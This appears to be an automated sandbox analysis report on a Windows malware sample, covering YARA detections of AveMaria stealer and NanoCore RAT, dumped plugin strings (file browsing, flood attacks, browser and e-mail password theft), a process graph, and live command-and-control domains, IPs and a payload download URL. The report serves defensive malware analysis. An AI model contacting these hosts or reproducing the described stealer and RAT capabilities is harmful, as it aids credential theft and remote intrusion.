Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e88e65.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000002.476683090.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.482137152.0000000005260000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.479953948.0000000003D00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.480292301.0000000003E77000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR
Contains functionality to steal Chrome passwords or cookies
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: \Google\Chrome\User Data\Default\Login Data 7_2_0040B917
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: \Chromium\User Data\Default\Login Data 7_2_0040B917
Contains functionality to steal e-mail passwords
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: POP3 Password 7_2_004099FF
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: SMTP Password 7_2_004099FF
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: IMAP Password 7_2_004099FF
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\ProgramData\images.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248801127.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248863856.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295297154.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248772250.0000000000FD5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248878230.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295398863.0000000000E28000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: images.exe PID: 2044, type: MEMORYSTR

Remote Access Functionality:

barindex
Detected Nanocore Rat
Source: KetqqsbuJ.exe String found in binary or memory: NanoCore.ClientPluginHost
Source: KetqqsbuJ.exe, 00000028.00000002.483125552.0000000006C10000.00000004.00000001.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationFileBrowserClient.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainFileBrowserClientClientPluginCommandHandlersResourcesFileBrowserClient.My.ResourcesMySettingsMySettingsPropertyFunctionsCommandTypesMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostCurrentDirectoryInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHost_networkHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleCreateDirectoryremoteDirHandleDeleteFileremoteFileisDirectoryHandleOpenFileHandleReceiveFilelocalFileHandleRenameFilenewFileNameHandleSetCurrentDirectorypathHandleDeleteHandleDownloadHandleDrivesHandleFilesHandleGetCurrentDirectoryHandleMachineNameHandleOpenHandleSetCurrentDirectoryPacketHandleUploadHandleRenameHandleCreateSendCurrentDirectorySendDrivesSendFileSendFilesSendMachineNameSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CulturevalueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsSystem.Collections.GenericList`1RemoteFilesRemoteFoldersRemoteDrivesEnumerateRemoteFilesEnumerateRemoteDrivesLogMessagemessageEnumvalue__MachineNameDrivesFilesGetCurrentDirectorySetCurrentDirectoryDownloadUploadOpenDeleteCreateDirectoryRenameSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeEnvironmentSpecialFolderGetFolderPathStringFormatSystem.IODirectoryDirectoryInfoProjectDataExceptionSetProjectErrorClearProjectErrorFileLogClientExceptionProcessStartConvertFromBase64StringWriteAllBytesMoveSendToServerConversionsToBooleanInt32NewLateBindingLateIndexGetEnumeratorEmptyGetEnumeratorget_CurrentTrimConcatMoveNextIDisposableDisposeReadAllBytesToBase64StringIsNullOrEmptyget_MachineNameToUpperget_UserNameReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedFileInfoFileSystemInfoget_FullNameContainsGetDirectoriesget_NameAddGetF
Source: KetqqsbuJ.exe, 00000028.00000002.483194992.0000000006C40000.00000004.00000001.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreStressTester.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreStressTesterClientPluginHTTPFloodSlowLorisSYNFloodTCPNanoCoreStressTester.FloodUDPSendSynCommandHandlerResourcesNanoCoreStressTester.My.ResourcesMySettingsMySettingsPropertyCommandsMethodsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostIClientDataHostDataHostClientGUIDSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHost_DataHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketStartHostToAttackArrayUploadDataSiteUserAgentRefererValuesGeneratecodelengthSystem.ThreadingThreadThreadsPortToAttackTimeToAttackThreadstoUseThreadsEndedattacksAttackRunningFloodnewHostnewPortnewTimenewThreadslolStopSlowlorisStressThreadStart_floodingJob_floodingThreadSystem.NetIPEndPoint_ipEo_synClassHostIsEnabledPortSuperSynSocketsStartSuperSynStopSuperSynSystem.Net.SocketsSocketClientIPPacketsPacketSizeMaxPacketsStopFloodmPacketspSize_sockipEosuperSynSockets__1IAsyncResultOnConnectarSendFloodingstopHTTPBytesSentSYNConnectionsHTTPDataSentMethodTargetAddressTargetStatusupdateBytesnewSYNFloodHandleDDOSCommandHandleStopCommandSystem.TimersElapsedEventArgsbytesTimerElapsedsourceeHandleHTTPCommandHandleSlowlorisCommandHandleTCPCommandHandleUDPCommandHandleSYNCommandSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsEnumvalue__sendStressCommandupdateStatusColumnstopStressCommandHTTPSlowlorisSYNSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeExceptionSendToServerProjectDataSetProjectErrorClearProjectErrorTimerNanoCoreIClientNameObjectCollectionget_VariablesGetValueset_Intervalset_EnabledElapsedEventHandleradd_ElapsedParamArrayAttributeRandomGuidStringIsNullOrEmptyArgumentNullExceptionArgumentOutOfRangeExce
Source: KetqqsbuJ.exe, 00000028.00000002.476683090.0000000002CA1000.00000004.00000001.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCore.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1IClientNetworkNanoCore.ClientPluginIClientDataIClientAppIClientDataHostNanoCore.ClientPluginHostIClientNetworkHostIClientUIHostIClientLoggingHostIClientAppHostIClientNameObjectCollectionNanoCoreIClientReadOnlyNameObjectCollectionClientInvokeDelegateMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceReadPacketpipeNameparamsPipeCreatedPipeClosedConnectionStateChangedconnectedConnectionFailedhostportBuildingHostCacheVariableChangednameClientSettingChangedPluginUninstallingClientUninstallingget_Variablesget_ClientSettingsget_BuilderSettingsVariablesClientSettingsBuilderSettingsget_ConnectedClosePipePipeExistsRebuildHostCacheAddHostEntryDisconnectSendToServercompressConnectedInvokemethodstateLogClientMessagemessageExceptionLogClientExceptionexsiteRestartShutdownDisableProtectionRestoreProtectionUninstallEntryExistsSystem.Collections.GenericKeyValuePair`2GetEntriesGetValuedefaultValueSetValuevalueRemoveValueMulticastDelegateTargetObjectTargetMethodIAsyncResultAsyncCallbackBeginInvokeDelegateCallbackDelegateAsyncStateEndInvokeDelegateAsyncResultSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeParamArrayAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeClientPluginClientPlugin.dll
Source: KetqqsbuJ.exe, 00000028.00000002.483052985.0000000006AB0000.00000004.00000001.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreBase.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreBaseClientPluginCommandHandlerResourcesNanoCoreBase.My.ResourcesMySettingsMySettingsPropertyCommandsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketHandleCommandHandleCommandOpenWebsiteHandleCommandMessageBoxSwapMouseButtonfSwapuser32.dllHandleCommandMouseSwapHandleCommandMouseUnswapmciSendStringlpszCommandlpszReturnStringcchReturnLengthhwndCallbackwinmm.dllmciSendStringAHandleCommandCDTrayHandleCommandCDTrayCloseSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsEnumvalue__OpenWebsiteMessageBoxCDTrayCDTrayCloseMouseSwapMouseUnswapSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeSendToServerParamArrayAttributeStringProcessStartSystem.Windows.FormsDialogResultShowConversionsReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedNanoCoreBase.Resources.resourcesDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeNanoCoreBase.dll+set CDAudio door open/set CDAudio door closed-NanoCoreBase.Resources3
Source: KetqqsbuJ.exe, 00000028.00000002.477157085.0000000002D0B000.00000004.00000001.sdmp String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationMyClientPlugin.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainMyClientPluginClientPluginMiscCommandHandlerCommandTypeMiscCommandMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleMiscCommandHandleMiscCommandMessageInterpretRecievedcommandtodoloopkeysEnumvalue__MessageStringExceptionMicrosoft.VisualBasic.CompilerServicesOperatorsCompareStringServerComputerMicrosoft.VisualBasic.MyServicesRegistryProxyget_RegistryMicrosoft.Win32RegistryKeyget_LocalMachineConcatInt32SetValueProjectDataSetProjectErrorClearProjectErrorget_LengthStandardModuleAttributeSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeMyClientPlugin.dll'DisableWebcamLights
Yara detected AveMaria stealer
Source: Yara match File source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248801127.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248863856.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295297154.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248772250.0000000000FD5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248878230.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295398863.0000000000E28000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5264629.19.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e8db04.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d0d051.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e88e65.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000002.476683090.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.482137152.0000000005260000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.479953948.0000000003D00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.480292301.0000000003E77000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 457791 Sample: Xjf4yH9N2t.exe Startdate: 02/08/2021 Architecture: WINDOWS Score: 100 76 hhjhtggfr.duckdns.org 2->76 84 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->84 86 Multi AV Scanner detection for domain / URL 2->86 88 Malicious sample detected (through community Yara rule) 2->88 90 11 other signatures 2->90 11 Xjf4yH9N2t.exe 3 2->11         started        15 dhcpmon.exe 3 2->15         started        17 tsusbhub.sys 3 2->17         started        19 2 other processes 2->19 signatures3 process4 file5 70 C:\Users\user\AppData\...\Xjf4yH9N2t.exe.log, ASCII 11->70 dropped 108 Contains functionality to inject threads in other processes 11->108 110 Contains functionality to steal Chrome passwords or cookies 11->110 112 Contains functionality to steal e-mail passwords 11->112 21 Xjf4yH9N2t.exe 4 5 11->21         started        25 Xjf4yH9N2t.exe 11->25         started        27 Xjf4yH9N2t.exe 11->27         started        signatures6 process7 file8 66 C:\ProgramData\images.exe, PE32 21->66 dropped 68 C:\ProgramData\images.exe:Zone.Identifier, ASCII 21->68 dropped 104 Increases the number of concurrent connection per server for Internet Explorer 21->104 106 Hides that the sample has been downloaded from the Internet (zone.identifier) 21->106 29 images.exe 3 21->29         started        32 cmd.exe 1 21->32         started        signatures9 process10 signatures11 118 Multi AV Scanner detection for dropped file 29->118 120 Detected unpacking (creates a PE file in dynamic memory) 29->120 122 Machine Learning detection for dropped file 29->122 34 images.exe 5 25 29->34         started        39 reg.exe 1 1 32->39         started        41 conhost.exe 32->41         started        process12 dnsIp13 78 hutyrtit.ydns.eu 203.159.80.165, 49730, 80 LOVESERVERSGB Netherlands 34->78 80 hhjhtggfr.duckdns.org 203.159.80.186, 49727, 49738, 49739 LOVESERVERSGB Netherlands 34->80 82 sdafsdffssffs.ydns.eu 34->82 60 C:\Users\user\AppData\Roaming\KetqqsbuJ.exe, PE32 34->60 dropped 62 C:\Users\user\AppData\Local\...\microC[1].exe, PE32 34->62 dropped 64 C:\Program Files\Microsoft DN1\sqlmap.dll, PE32+ 34->64 dropped 94 Hides user accounts 34->94 96 Tries to harvest and steal browser information (history, passwords, etc) 34->96 98 Writes to foreign memory regions 34->98 102 3 other signatures 34->102 43 KetqqsbuJ.exe 3 34->43         started        47 cmd.exe 1 34->47         started        100 Creates an undocumented autostart registry key 39->100 file14 signatures15 process16 file17 72 C:\Users\user\AppData\...\KetqqsbuJ.exe.log, ASCII 43->72 dropped 114 Multi AV Scanner detection for dropped file 43->114 116 Machine Learning detection for dropped file 43->116 49 KetqqsbuJ.exe 1 11 43->49         started        54 conhost.exe 47->54         started        signatures18 process19 dnsIp20 74 hhjhtggfr.duckdns.org 49->74 56 C:\Program Files (x86)\...\dhcpmon.exe, PE32 49->56 dropped 58 C:\Users\user\AppData\Roaming\...\run.dat, data 49->58 dropped 92 Hides that the sample has been downloaded from the Internet (zone.identifier) 49->92 file21 signatures22
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
203.159.80.186
 sdafsdffssffs.ydns.eu Netherlands
47987 LOVESERVERSGB false
203.159.80.165
 hutyrtit.ydns.eu Netherlands
47987 LOVESERVERSGB false

Contacted Domains

Name IP Active
sdafsdffssffs.ydns.eu 203.159.80.186 true
hutyrtit.ydns.eu 203.159.80.165 true
hhjhtggfr.duckdns.org 203.159.80.186 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://hutyrtit.ydns.eu/microC.exe true
  • Avira URL Cloud: malware
 unknown